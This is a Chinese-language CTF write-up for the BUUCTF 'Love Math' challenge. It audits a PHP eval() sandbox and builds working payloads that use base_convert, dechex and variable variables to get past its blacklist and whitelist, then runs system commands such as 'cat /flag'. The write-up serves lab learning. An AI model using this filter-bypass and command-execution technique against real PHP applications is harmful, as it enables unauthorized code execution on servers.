BUUCTF[CISCN 2019 初赛]Love Math 1

考点:

  php代码审计

进入靶场

代码审计

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);#preg_match_all 函数用于执行一个全局正则表达式匹配。
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {#in_array() 函数搜索数组中是否存在指定的值。
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

发代码过滤了绝大多数字符,只有白名单里的字符串和字符可用。而且传入的c的值长度要小于80。

思考:

  最终我们要构成的是

  c=_GET['a'](_GET['b'])&a=system&b=cat /flag

  最后变成 system(cat /flag)

但我们怎样将此字符串变成算式呢

这里我们需要用白名单里面的base_convert和dechex进行进制转换

base_convert

 dechex

 这里还需用到一个函数:hex2bin

 下面将这些函数进行组合,来得到我们想要的结果。

1.得到hex2bin函数(白名单中没有这个函数)

  首先明确:hex2bin函数名为36进制的

  在这我们要用到base_convert()函数,目的是让一个10进制数转化成36进制的数,使36进制的值为hex2bin

 所以,构造函数:base_convert(37907361743,10,36)

<?php

$a = base_convert(37907361743,10,36);
echo $a;
?>

结果:hex2bin

2.得到这个函数后,我们将_GET表示出来

我们知道,ASCII为16进制,所以_GET的编码为5F474554

但这里不能直接用:base_convert(37907361743,10,36)(5F474554)

<?php

$a = hex2bin(5F474554);
echo $a;
?>

Parse error: syntax error, unexpected identifier "F474554", expecting ")" 

会报错,必须加上' ',但' '被过滤了,所以必须要用dechex函数将一个10进制数化为16进制数,使值等于F474554

即构造:dechex(1598506324)

连在一起就为:base_convert(37907361743,10,36)(dechex(1598506324))

<?php

$a = base_convert(37907361743,10,36)(dechex(1598506324));
echo $a;
?>

结果:_GET

3.接下来就是赋值了

  这里禁用了[ ],可以用{ }代替

  因为它使用的白名单,所以我们构造的函数必须是白名单内的函数。

构造payload: ?c=base_convert(37907361743,10,36)(dechex(1598506324)){abs}(base_convert(37907361743,10,36)(dechex(1598506324)){pi})&abs=system&pi=ls /

 发现payload太长了,想办法缩短长度。

这里就要用到动态函数

<?php
$name = "hello";
$$name = "World";
echo $name;
echo "\n";
echo $hello; //$$name
echo "\n";
echo $$name;
?>

输出

hello
World
World

 即

#要构造c=$_GET['a']($_GET['b'])&a=system&b=cat flag
#如果$flag的值太长了(在这为$_GET),可以用c=$flag=$_GET;$$flag['a']($$flag['b'])&a=system&b=cat flag

payload: ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{cos}($$pi{tan})&cos=system&tan=ls /

 发现有flag这个文件,读取

payload: ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{cos}($$pi{tan})&cos=system&tan=cat /flag

 得到flag。


posted @ 2021-12-07 23:26  LoYoHo00  阅读(328)  评论(0)    收藏  举报
levels of contents